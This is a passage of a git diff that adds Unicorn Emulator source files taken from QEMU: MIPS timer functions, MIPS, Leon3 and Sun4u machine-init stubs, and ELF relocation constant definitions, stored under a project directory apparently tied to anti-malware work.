(CPUMIPSState *env) +{ + if (env->CP0_Cause & (1 << CP0Ca_DC)) { + return env->CP0_Count; + } else { + uint64_t now; + + now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL); + //if (timer_pending(env->timer) + // && timer_expired(env->timer, now)) { + // /* The timer has already expired. */ + // cpu_mips_timer_expire(env); + //} + + return env->CP0_Count + + (uint32_t)muldiv64(now, TIMER_FREQ, get_ticks_per_sec()); + } +} + +void cpu_mips_store_count (CPUMIPSState *env, uint32_t count) +{ +#if 0 + /* + * This gets called from cpu_state_reset(), potentially before timer init. + * So env->timer may be NULL, which is also the case with KVM enabled so + * treat timer as disabled in that case. + */ + if (env->CP0_Cause & (1 << CP0Ca_DC) || !env->timer) + env->CP0_Count = count; + else { + /* Store new count register */ + env->CP0_Count = + count - (uint32_t)muldiv64(qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL), + TIMER_FREQ, get_ticks_per_sec()); + /* Update timer timer */ + cpu_mips_timer_update(env); + } +#endif +} + +void cpu_mips_store_compare (CPUMIPSState *env, uint32_t value) +{ + env->CP0_Compare = value; + if (!(env->CP0_Cause & (1 << CP0Ca_DC))) + cpu_mips_timer_update(env); + if (env->insn_flags & ISA_MIPS32R2) + env->CP0_Cause &= ~(1 << CP0Ca_TI); + //qemu_irq_lower(env->irq[(env->CP0_IntCtl >> CP0IntCtl_IPTI) & 0x7]); +} + +void cpu_mips_start_count(CPUMIPSState *env) +{ + cpu_mips_store_count(env, env->CP0_Count); +} + +void cpu_mips_stop_count(CPUMIPSState *env) +{ + /* Store the current value */ + env->CP0_Count += (uint32_t)muldiv64(qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL), + TIMER_FREQ, get_ticks_per_sec()); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/mips_r4k.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/mips_r4k.c new file mode 100644 index 0000000..aa1ee11 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/mips/mips_r4k.c @@ -0,0 +1,57 @@ +/* + * QEMU/MIPS pseudo-board + * + * emulates a simple machine with ISA-like bus. + * ISA IO space mapped to the 0x14000000 (PHYS) and + * ISA memory at the 0x10000000 (PHYS, 16Mb in size). + * All peripherial devices are attached to this "bus" with + * the standard PC ISA addresses. +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +#include "hw/hw.h" +#include "hw/mips/mips.h" +#include "hw/mips/cpudevs.h" +#include "sysemu/sysemu.h" +#include "hw/boards.h" +#include "exec/address-spaces.h" + + +static int mips_r4k_init(struct uc_struct *uc, MachineState *machine) +{ + const char *cpu_model = machine->cpu_model; + + /* init CPUs */ + if (cpu_model == NULL) { +#ifdef TARGET_MIPS64 + cpu_model = "R4000"; +#else + cpu_model = "24Kf"; +#endif + } + + uc->cpu = (void*) cpu_mips_init(uc, cpu_model); + if (uc->cpu == NULL) { + fprintf(stderr, "Unable to find CPU definition\n"); + return -1; + } + + return 0; +} + +void mips_machine_init(struct uc_struct *uc) +{ + static QEMUMachine mips_machine = { + NULL, + "mips", + mips_r4k_init, + NULL, + 0, + 1, + UC_ARCH_MIPS, + }; + + qemu_register_machine(uc, &mips_machine, TYPE_MACHINE, NULL); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc/Makefile.objs new file mode 100644 index 0000000..20bd940 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc/Makefile.objs @@ -0,0 +1 @@ +obj-y += leon3.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc/leon3.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc/leon3.c new file mode 100644 index 0000000..150aaed --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc/leon3.c @@ -0,0 +1,72 @@ +/* + * QEMU Leon3 System Emulator + * + * Copyright (c) 2010-2011 AdaCore + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +#include "hw/hw.h" +#include "hw/sparc/sparc.h" +#include "qemu/timer.h" +#include "sysemu/sysemu.h" +#include "hw/boards.h" +#include "exec/address-spaces.h" + + +static int leon3_generic_hw_init(struct uc_struct *uc, MachineState *machine) +{ + const char *cpu_model = machine->cpu_model; + SPARCCPU *cpu; + + /* Init CPU */ + if (!cpu_model) { + cpu_model = "LEON3"; + } + + cpu = cpu_sparc_init(uc, cpu_model); + uc->cpu = CPU(cpu); + if (cpu == NULL) { + fprintf(stderr, "qemu: Unable to find Sparc CPU definition\n"); + return -1; + } + + cpu_sparc_set_id(&cpu->env, 0); + + return 0; +} + +void leon3_machine_init(struct uc_struct *uc) +{ + static QEMUMachine leon3_generic_machine = { + NULL, + "leon3_generic", + leon3_generic_hw_init, + NULL, + 0, + 1, + UC_ARCH_SPARC, + }; + + //printf(">>> leon3_machine_init\n"); + qemu_register_machine(uc, &leon3_generic_machine, TYPE_MACHINE, NULL); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc64/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc64/Makefile.objs new file mode 100644 index 0000000..a84cfe3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc64/Makefile.objs @@ -0,0 +1 @@ +obj-y += sun4u.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc64/sun4u.c b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc64/sun4u.c new file mode 100644 index 0000000..1995d31 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/hw/sparc64/sun4u.c @@ -0,0 +1,63 @@ +/* + * QEMU Sun4u/Sun4v System Emulator + * + * Copyright (c) 2005 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#include "hw/hw.h" +#include "hw/sparc/sparc.h" +#include "qemu/timer.h" +#include "sysemu/sysemu.h" +#include "hw/boards.h" +#include "exec/address-spaces.h" + + +/* Sun4u hardware initialisation */ +static int sun4u_init(struct uc_struct *uc, MachineState *machine) +{ + const char *cpu_model = machine->cpu_model; + SPARCCPU *cpu; + + if (cpu_model == NULL) + cpu_model = "Sun UltraSparc IV"; + + cpu = cpu_sparc_init(uc, cpu_model); + if (cpu == NULL) { + fprintf(stderr, "Unable to find Sparc CPU definition\n"); + return -1; + } + + return 0; +} + +void sun4u_machine_init(struct uc_struct *uc) +{ + static QEMUMachine sun4u_machine = { + NULL, + "sun4u", + sun4u_init, + NULL, + 1, // XXX for now + 1, + UC_ARCH_SPARC, + }; + + qemu_register_machine(uc, &sun4u_machine, TYPE_MACHINE, NULL); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/config.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/config.h new file mode 100644 index 0000000..e20f786 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/config.h @@ -0,0 +1,2 @@ +#include "config-host.h" +#include "config-target.h" diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/elf.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/elf.h new file mode 100644 index 0000000..b55aaa6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/elf.h @@ -0,0 +1,560 @@ +#ifndef QEMU_ELF_H +#define QEMU_ELF_H + +/* + * i386 ELF relocation types + */ +#define R_386_NONE 0 +#define R_386_32 1 +#define R_386_PC32 2 +#define R_386_GOT32 3 +#define R_386_PLT32 4 +#define R_386_COPY 5 +#define R_386_GLOB_DAT 6 +#define R_386_JMP_SLOT 7 +#define R_386_RELATIVE 8 +#define R_386_GOTOFF 9 +#define R_386_GOTPC 10 +#define R_386_NUM 11 +/* Not a dynamic reloc, so not included in R_386_NUM. Used in TCG. */ +#define R_386_PC8 23 + +/* + * Mips ELF relocation types + */ +#define R_MIPS_NONE 0 +#define R_MIPS_16 1 +#define R_MIPS_32 2 +#define R_MIPS_REL32 3 +#define R_MIPS_26 4 +#define R_MIPS_HI16 5 +#define R_MIPS_LO16 6 +#define R_MIPS_GPREL16 7 +#define R_MIPS_LITERAL 8 +#define R_MIPS_GOT16 9 +#define R_MIPS_PC16 10 +#define R_MIPS_CALL16 11 +#define R_MIPS_GPREL32 12 +/* The remaining relocs are defined on Irix, although they are not + in the MIPS ELF ABI. */ +#define R_MIPS_UNUSED1 13 +#define R_MIPS_UNUSED2 14 +#define R_MIPS_UNUSED3 15 +#define R_MIPS_SHIFT5 16 +#define R_MIPS_SHIFT6 17 +#define R_MIPS_64 18 +#define R_MIPS_GOT_DISP 19 +#define R_MIPS_GOT_PAGE 20 +#define R_MIPS_GOT_OFST 21 +/* + * The following two relocation types are specified in the MIPS ABI + * conformance guide version 1.2 but not yet in the psABI. + */ +#define R_MIPS_GOTHI16 22 +#define R_MIPS_GOTLO16 23 +#define R_MIPS_SUB 24 +#define R_MIPS_INSERT_A 25 +#define R_MIPS_INSERT_B 26 +#define R_MIPS_DELETE 27 +#define R_MIPS_HIGHER 28 +#define R_MIPS_HIGHEST 29 +/* + * The following two relocation types are specified in the MIPS ABI + * conformance guide version 1.2 but not yet in the psABI. + */ +#define R_MIPS_CALLHI16 30 +#define R_MIPS_CALLLO16 31 +/* + * This range is reserved for vendor specific relocations. + */ +#define R_MIPS_LOVENDOR 100 +#define R_MIPS_HIVENDOR 127 + +/* + * Sparc ELF relocation types + */ +#define R_SPARC_NONE 0 +#define R_SPARC_8 1 +#define R_SPARC_16 2 +#define R_SPARC_32 3 +#define R_SPARC_DISP8 4 +#define R_SPARC_DISP16 5 +#define R_SPARC_DISP32 6 +#define R_SPARC_WDISP30 7 +#define R_SPARC_WDISP22 8 +#define R_SPARC_HI22 9 +#define R_SPARC_22 10 +#define R_SPARC_13 11 +#define R_SPARC_LO10 12 +#define R_SPARC_GOT10 13 +#define R_SPARC_GOT13 14 +#define R_SPARC_GOT22 15 +#define R_SPARC_PC10 16 +#define R_SPARC_PC22 17 +#define R_SPARC_WPLT30 18 +#define R_SPARC_COPY 19 +#define R_SPARC_GLOB_DAT 20 +#define R_SPARC_JMP_SLOT 21 +#define R_SPARC_RELATIVE 22 +#define R_SPARC_UA32 23 +#define R_SPARC_PLT32 24 +#define R_SPARC_HIPLT22 25 +#define R_SPARC_LOPLT10 26 +#define R_SPARC_PCPLT32 27 +#define R_SPARC_PCPLT22 28 +#define R_SPARC_PCPLT10 29 +#define R_SPARC_10 30 +#define R_SPARC_11 31 +#define R_SPARC_64 32 +#define R_SPARC_OLO10 33 +#define R_SPARC_HH22 34 +#define R_SPARC_HM10 35 +#define R_SPARC_LM22 36 +#define R_SPARC_WDISP16 40 +#define R_SPARC_WDISP19 41 +#define R_SPARC_7 43 +#define R_SPARC_5 44 +#define R_SPARC_6 45 + + +/* Bits present in AT_HWCAP for ARM. */ +#define HWCAP_ARM_IDIVA (1 << 17) + +/* Bits present in AT_HWCAP for s390. */ +#define HWCAP_S390_STFLE 4 + +/* Bits present in AT_HWCAP for Sparc. */ +#define HWCAP_SPARC_VIS3 0x00020000 + +/* Bits present in AT_HWCAP for PowerPC. */ +#define PPC_FEATURE_ARCH_2_06 0x00000100 + +/* Symbolic values for the entries in the auxiliary table + put on the initial stack */ +#define AT_PLATFORM 15 /* string identifying CPU for optimizations */ +#define AT_HWCAP 16 /* arch dependent hints at CPU capabilities */ +#define AT_DCACHEBSIZE 19 /* data cache block size */ +#define AT_ICACHEBSIZE 20 /* instruction cache block size */ + +/* + * 68k ELF relocation types + */ +#define R_68K_NONE 0 +#define R_68K_32 1 +#define R_68K_16 2 +#define R_68K_8 3 +#define R_68K_PC32 4 +#define R_68K_PC16 5 +#define R_68K_PC8 6 +#define R_68K_GOT32 7 +#define R_68K_GOT16 8 +#define R_68K_GOT8 9 +#define R_68K_GOT32O 10 +#define R_68K_GOT16O 11 +#define R_68K_GOT8O 12 +#define R_68K_PLT32 13 +#define R_68K_PLT16 14 +#define R_68K_PLT8 15 +#define R_68K_PLT32O 16 +#define R_68K_PLT16O 17 +#define R_68K_PLT8O 18 +#define R_68K_COPY 19 +#define R_68K_GLOB_DAT 20 +#define R_68K_JMP_SLOT 21 +#define R_68K_RELATIVE 22 + +/* PowerPC relocations defined by the ABIs */ +#define R_PPC_NONE 0 +#define R_PPC_ADDR32 1 /* 32bit absolute address */ +#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ +#define R_PPC_ADDR16 3 /* 16bit absolute address */ +#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ +#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ +#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ +#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ +#define R_PPC_ADDR14_BRTAKEN 8 +#define R_PPC_ADDR14_BRNTAKEN 9 +#define R_PPC_REL24 10 /* PC relative 26 bit */ +#define R_PPC_REL14 11 /* PC relative 16 bit */ +#define R_PPC_REL14_BRTAKEN 12 +#define R_PPC_REL14_BRNTAKEN 13 +#define R_PPC_GOT16 14 +#define R_PPC_GOT16_LO 15 +#define R_PPC_GOT16_HI 16 +#define R_PPC_GOT16_HA 17 +#define R_PPC_PLTREL24 18 +#define R_PPC_COPY 19 +#define R_PPC_GLOB_DAT 20 +#define R_PPC_JMP_SLOT 21 +#define R_PPC_RELATIVE 22 +#define R_PPC_LOCAL24PC 23 +#define R_PPC_UADDR32 24 +#define R_PPC_UADDR16 25 +#define R_PPC_REL32 26 +#define R_PPC_PLT32 27 +#define R_PPC_PLTREL32 28 +#define R_PPC_PLT16_LO 29 +#define R_PPC_PLT16_HI 30 +#define R_PPC_PLT16_HA 31 +#define R_PPC_SDAREL16 32 +#define R_PPC_SECTOFF 33 +#define R_PPC_SECTOFF_LO 34 +#define R_PPC_SECTOFF_HI 35 +#define R_PPC_SECTOFF_HA 36 +/* Keep this the last entry. */ +#ifndef R_PPC_NUM +#define R_PPC_NUM 37 +#endif + +/* ARM relocs. */ +#define R_ARM_NONE 0 /* No reloc */ +#define R_ARM_PC24 1 /* PC relative 26 bit branch */ +#define R_ARM_ABS32 2 /* Direct 32 bit */ +#define R_ARM_REL32 3 /* PC relative 32 bit */ +#define R_ARM_PC13 4 +#define R_ARM_ABS16 5 /* Direct 16 bit */ +#define R_ARM_ABS12 6 /* Direct 12 bit */ +#define R_ARM_THM_ABS5 7 +#define R_ARM_ABS8 8 /* Direct 8 bit */ +#define R_ARM_SBREL32 9 +#define R_ARM_THM_PC22 10 +#define R_ARM_THM_PC8 11 +#define R_ARM_AMP_VCALL9 12 +#define R_ARM_SWI24 13 +#define R_ARM_THM_SWI8 14 +#define R_ARM_XPC25 15 +#define R_ARM_THM_XPC22 16 +#define R_ARM_COPY 20 /* Copy symbol at runtime */ +#define R_ARM_GLOB_DAT 21 /* Create GOT entry */ +#define R_ARM_JUMP_SLOT 22 /* Create PLT entry */ +#define R_ARM_RELATIVE 23 /* Adjust by program base */ +#define R_ARM_GOTOFF 24 /* 32 bit offset to GOT */ +#define R_ARM_GOTPC 25 /* 32 bit PC relative offset to GOT */ +#define R_ARM_GOT32 26 /* 32 bit GOT entry */ +#define R_ARM_PLT32 27 /* 32 bit PLT address */ +#define R_ARM_CALL 28 +#define R_ARM_JUMP24 29 +#define R_ARM_GNU_VTENTRY 100 +#define R_ARM_GNU_VTINHERIT 101 +#define R_ARM_THM_PC11 102 /* thumb unconditional branch */ +#define R_ARM_THM_PC9 103 /* thumb conditional branch */ +#define R_ARM_RXPC25 249 +#define R_ARM_RSBREL32 250 +#define R_ARM_THM_RPC22 251 +#define R_ARM_RREL32 252 +#define R_ARM_RABS22 253 +#define R_ARM_RPC24 254 +#define R_ARM_RBASE 255 +/* Keep this the last entry. */ +#define R_ARM_NUM 256 + +/* ARM Aarch64 relocation types */ +#define R_AARCH64_NONE 256 /* also accepts R_ARM_NONE (0) */ +/* static data relocations */ +#define R_AARCH64_ABS64 257 +#define R_AARCH64_ABS32 258 +#define R_AARCH64_ABS16 259 +#define R_AARCH64_PREL64 260 +#define R_AARCH64_PREL32 261 +#define R_AARCH64_PREL16 262 +/* static aarch64 group relocations */ +/* group relocs to create unsigned data value or address inline */ +#define R_AARCH64_MOVW_UABS_G0 263 +#define R_AARCH64_MOVW_UABS_G0_NC 264 +#define R_AARCH64_MOVW_UABS_G1 265 +#define R_AARCH64_MOVW_UABS_G1_NC 266 +#define R_AARCH64_MOVW_UABS_G2 267 +#define R_AARCH64_MOVW_UABS_G2_NC 268 +#define R_AARCH64_MOVW_UABS_G3 269 +/* group relocs to create signed data or offset value inline */ +#define R_AARCH64_MOVW_SABS_G0 270 +#define R_AARCH64_MOVW_SABS_G1 271 +#define R_AARCH64_MOVW_SABS_G2 272 +/* relocs to generate 19, 21, and 33 bit PC-relative addresses */ +#define R_AARCH64_LD_PREL_LO19 273 +#define R_AARCH64_ADR_PREL_LO21 274 +#define R_AARCH64_ADR_PREL_PG_HI21 275 +#define R_AARCH64_ADR_PREL_PG_HI21_NC 276 +#define R_AARCH64_ADD_ABS_LO12_NC 277 +#define R_AARCH64_LDST8_ABS_LO12_NC 278 +#define R_AARCH64_LDST16_ABS_LO12_NC 284 +#define R_AARCH64_LDST32_ABS_LO12_NC 285 +#define R_AARCH64_LDST64_ABS_LO12_NC 286 +#define R_AARCH64_LDST128_ABS_LO12_NC 299 +/* relocs for control-flow - all offsets as multiple of 4 */ +#define R_AARCH64_TSTBR14 279 +#define R_AARCH64_CONDBR19 280 +#define R_AARCH64_JUMP26 282 +#define R_AARCH64_CALL26 283 +/* group relocs to create pc-relative offset inline */ +#define R_AARCH64_MOVW_PREL_G0 287 +#define R_AARCH64_MOVW_PREL_G0_NC 288 +#define R_AARCH64_MOVW_PREL_G1 289 +#define R_AARCH64_MOVW_PREL_G1_NC 290 +#define R_AARCH64_MOVW_PREL_G2 291 +#define R_AARCH64_MOVW_PREL_G2_NC 292 +#define R_AARCH64_MOVW_PREL_G3 293 +/* group relocs to create a GOT-relative offset inline */ +#define R_AARCH64_MOVW_GOTOFF_G0 300 +#define R_AARCH64_MOVW_GOTOFF_G0_NC 301 +#define R_AARCH64_MOVW_GOTOFF_G1 302 +#define R_AARCH64_MOVW_GOTOFF_G1_NC 303 +#define R_AARCH64_MOVW_GOTOFF_G2 304 +#define R_AARCH64_MOVW_GOTOFF_G2_NC 305 +#define R_AARCH64_MOVW_GOTOFF_G3 306 +/* GOT-relative data relocs */ +#define R_AARCH64_GOTREL64 307 +#define R_AARCH64_GOTREL32 308 +/* GOT-relative instr relocs */ +#define R_AARCH64_GOT_LD_PREL19 309 +#define R_AARCH64_LD64_GOTOFF_LO15 310 +#define R_AARCH64_ADR_GOT_PAGE 311 +#define R_AARCH64_LD64_GOT_LO12_NC 312 +#define R_AARCH64_LD64_GOTPAGE_LO15 313 +/* General Dynamic TLS relocations */ +#define R_AARCH64_TLSGD_ADR_PREL21 512 +#define R_AARCH64_TLSGD_ADR_PAGE21 513 +#define R_AARCH64_TLSGD_ADD_LO12_NC 514 +#define R_AARCH64_TLSGD_MOVW_G1 515 +#define R_AARCH64_TLSGD_MOVW_G0_NC 516 +/* Local Dynamic TLS relocations */ +#define R_AARCH64_TLSLD_ADR_PREL21 517 +#define R_AARCH64_TLSLD_ADR_PAGE21 518 +#define R_AARCH64_TLSLD_ADD_LO12_NC 519 +#define R_AARCH64_TLSLD_MOVW_G1 520 +#define R_AARCH64_TLSLD_MOVW_G0_NC 521 +#define R_AARCH64_TLSLD_LD_PREL19 522 +#define R_AARCH64_TLSLD_MOVW_DTPREL_G2 523 +#define R_AARCH64_TLSLD_MOVW_DTPREL_G1 524 +#define R_AARCH64_TLSLD_MOVW_DTPREL_G1_NC 525 +#define R_AARCH64_TLSLD_MOVW_DTPREL_G0 526 +#define R_AARCH64_TLSLD_MOVW_DTPREL_G0_NC 527 +#define R_AARCH64_TLSLD_ADD_DTPREL_HI12 528 +#define R_AARCH64_TLSLD_ADD_DTPREL_LO12 529 +#define R_AARCH64_TLSLD_ADD_DTPREL_LO12_NC 530 +#define R_AARCH64_TLSLD_LDST8_DTPREL_LO12 531 +#define R_AARCH64_TLSLD_LDST8_DTPREL_LO12_NC 532 +#define R_AARCH64_TLSLD_LDST16_DTPREL_LO12 533 +#define R_AARCH64_TLSLD_LDST16_DTPREL_LO12_NC 534 +#define R_AARCH64_TLSLD_LDST32_DTPREL_LO12 535 +#define R_AARCH64_TLSLD_LDST32_DTPREL_LO12_NC 536 +#define R_AARCH64_TLSLD_LDST64_DTPREL_LO12 537 +#define R_AARCH64_TLSLD_LDST64_DTPREL_LO12_NC 538 +/* initial exec TLS relocations */ +#define R_AARCH64_TLSIE_MOVW_GOTTPREL_G1 539 +#define R_AARCH64_TLSIE_MOVW_GOTTPREL_G0_NC 540 +#define R_AARCH64_TLSIE_ADR_GOTTPREL_PAGE21 541 +#define R_AARCH64_TLSIE_LD64_GOTTPREL_LO12_NC 542 +#define R_AARCH64_TLSIE_LD_GOTTPREL_PREL19 543 +/* local exec TLS relocations */ +#define R_AARCH64_TLSLE_MOVW_TPREL_G2 544 +#define R_AARCH64_TLSLE_MOVW_TPREL_G1 545 +#define R_AARCH64_TLSLE_MOVW_TPREL_G1_NC 546 +#define R_AARCH64_TLSLE_MOVW_TPREL_G0 547 +#define R_AARCH64_TLSLE_MOVW_TPREL_G0_NC 548 +#define R_AARCH64_TLSLE_ADD_TPREL_HI12 549 +#define R_AARCH64_TLSLE_ADD_TPREL_LO12 550 +#define R_AARCH64_TLSLE_ADD_TPREL_LO12_NC 551 +#define R_AARCH64_TLSLE_LDST8_TPREL_LO12 552 +#define R_AARCH64_TLSLE_LDST8_TPREL_LO12_NC 553 +#define R_AARCH64_TLSLE_LDST16_TPREL_LO12 554 +#define R_AARCH64_TLSLE_LDST16_TPREL_LO12_NC 555 +#define R_AARCH64_TLSLE_LDST32_TPREL_LO12 556 +#define R_AARCH64_TLSLE_LDST32_TPREL_LO12_NC 557 +#define R_AARCH64_TLSLE_LDST64_TPREL_LO12 558 +#define R_AARCH64_TLSLE_LDST64_TPREL_LO12_NC 559 +/* Dynamic Relocations */ +#define R_AARCH64_COPY 1024 +#define R_AARCH64_GLOB_DAT 1025 +#define R_AARCH64_JUMP_SLOT 1026 +#define R_AARCH64_RELATIVE 1027 +#define R_AARCH64_TLS_DTPREL64 1028 +#define R_AARCH64_TLS_DTPMOD64 1029 +#define R_AARCH64_TLS_TPREL64 1030 +#define R_AARCH64_TLS_DTPREL32 1031 +#define R_AARCH64_TLS_DTPMOD32 1032 +#define R_AARCH64_TLS_TPREL32 1033 + +/* s390 relocations defined by the ABIs */ +#define R_390_NONE 0 /* No reloc. */ +#define R_390_8 1 /* Direct 8 bit. */ +#define R_390_12 2 /* Direct 12 bit. */ +#define R_390_16 3 /* Direct 16 bit. */ +#define R_390_32 4 /* Direct 32 bit. */ +#define R_390_PC32 5 /* PC relative 32 bit. */ +#define R_390_GOT12 6 /* 12 bit GOT offset. */ +#define R_390_GOT32 7 /* 32 bit GOT offset. */ +#define R_390_PLT32 8 /* 32 bit PC relative PLT address. */ +#define R_390_COPY 9 /* Copy symbol at runtime. */ +#define R_390_GLOB_DAT 10 /* Create GOT entry. */ +#define R_390_JMP_SLOT 11 /* Create PLT entry. */ +#define R_390_RELATIVE 12 /* Adjust by program base. */ +#define R_390_GOTOFF32 13 /* 32 bit offset to GOT. */ +#define R_390_GOTPC 14 /* 32 bit PC rel. offset to GOT. */ +#define R_390_GOT16 15 /* 16 bit GOT offset. */ +#define R_390_PC16 16 /* PC relative 16 bit. */ +#define R_390_PC16DBL 17 /* PC relative 16 bit shifted by 1. */ +#define R_390_PLT16DBL 18 /* 16 bit PC rel. PLT shifted by 1. */ +#define R_390_PC32DBL 19 /* PC relative 32 bit shifted by 1. */ +#define R_390_PLT32DBL 20 /* 32 bit PC rel. PLT shifted by 1. */ +#define R_390_GOTPCDBL 21 /* 32 bit PC rel. GOT shifted by 1. */ +#define R_390_64 22 /* Direct 64 bit. */ +#define R_390_PC64 23 /* PC relative 64 bit. */ +#define R_390_GOT64 24 /* 64 bit GOT offset. */ +#define R_390_PLT64 25 /* 64 bit PC relative PLT address. */ +#define R_390_GOTENT 26 /* 32 bit PC rel. to GOT entry >> 1. */ +#define R_390_GOTOFF16 27 /* 16 bit offset to GOT. */ +#define R_390_GOTOFF64 28 /* 64 bit offset to GOT. */ +#define R_390_GOTPLT12 29 /* 12 bit offset to jump slot. */ +#define R_390_GOTPLT16 30 /* 16 bit offset to jump slot. */ +#define R_390_GOTPLT32 31 /* 32 bit offset to jump slot. */ +#define R_390_GOTPLT64 32 /* 64 bit offset to jump slot. */ +#define R_390_GOTPLTENT 33 /* 32 bit rel. offset to jump slot. */ +#define R_390_PLTOFF16 34 /* 16 bit offset from GOT to PLT. */ +#define R_390_PLTOFF32 35 /* 32 bit offset from GOT to PLT. */ +#define R_390_PLTOFF64 36 /* 16 bit offset from GOT to PLT. */ +#define R_390_TLS_LOAD 37 /* Tag for load insn in TLS code. */ +#define R_390_TLS_GDCALL 38 /* Tag for function call in general + dynamic TLS code. */ +#define R_390_TLS_LDCALL 39 /* Tag for function call in local + dynamic TLS code. */ +#define R_390_TLS_GD32 40 /* Direct 32 bit for general dynamic + thread local data. */ +#define R_390_TLS_GD64 41 /* Direct 64 bit for general dynamic + thread local data. */ +#define R_390_TLS_GOTIE12 42 /* 12 bit GOT offset for static TLS + block offset. */ +#define R_390_TLS_GOTIE32 43 /* 32 bit GOT offset for static TLS + block offset. */ +#define R_390_TLS_GOTIE64 44 /* 64 bit GOT offset for static TLS + block offset. */ +#define R_390_TLS_LDM32 45 /* Direct 32 bit for local dynamic + thread local data in LD code. */ +#define R_390_TLS_LDM64 46 /* Direct 64 bit for local dynamic + thread local data in LD code. */ +#define R_390_TLS_IE32 47 /* 32 bit address of GOT entry for + negated static TLS block offset. */ +#define R_390_TLS_IE64 48 /* 64 bit address of GOT entry for + negated static TLS block offset. */ +#define R_390_TLS_IEENT 49 /* 32 bit rel. offset to GOT entry for + negated static TLS block offset. */ +#define R_390_TLS_LE32 50 /* 32 bit negated offset relative to + static TLS block. */ +#define R_390_TLS_LE64 51 /* 64 bit negated offset relative to + static TLS block. */ +#define R_390_TLS_LDO32 52 /* 32 bit offset relative to TLS + block. */ +#define R_390_TLS_LDO64 53 /* 64 bit offset relative to TLS + block. */ +#define R_390_TLS_DTPMOD 54 /* ID of module containing symbol. */ +#define R_390_TLS_DTPOFF 55 /* Offset in TLS block. */ +#define R_390_TLS_TPOFF 56 /* Negate offset in static TLS + block. */ +/* Keep this the last entry. */ +#define R_390_NUM 57 + +/* x86-64 relocation types */ +#define R_X86_64_NONE 0 /* No reloc */ +#define R_X86_64_64 1 /* Direct 64 bit */ +#define R_X86_64_PC32 2 /* PC relative 32 bit signed */ +#define R_X86_64_GOT32 3 /* 32 bit GOT entry */ +#define R_X86_64_PLT32 4 /* 32 bit PLT address */ +#define R_X86_64_COPY 5 /* Copy symbol at runtime */ +#define R_X86_64_GLOB_DAT 6 /* Create GOT entry */ +#define R_X86_64_JUMP_SLOT 7 /* Create PLT entry */ +#define R_X86_64_RELATIVE 8 /* Adjust by program base */ +#define R_X86_64_GOTPCREL 9 /* 32 bit signed pc relative + offset to GOT */ +#define R_X86_64_32 10 /* Direct 32 bit zero extended */ +#define R_X86_64_32S 11 /* Direct 32 bit sign extended */ +#define R_X86_64_16 12 /* Direct 16 bit zero extended */ +#define R_X86_64_PC16 13 /* 16 bit sign extended pc relative */ +#define R_X86_64_8 14 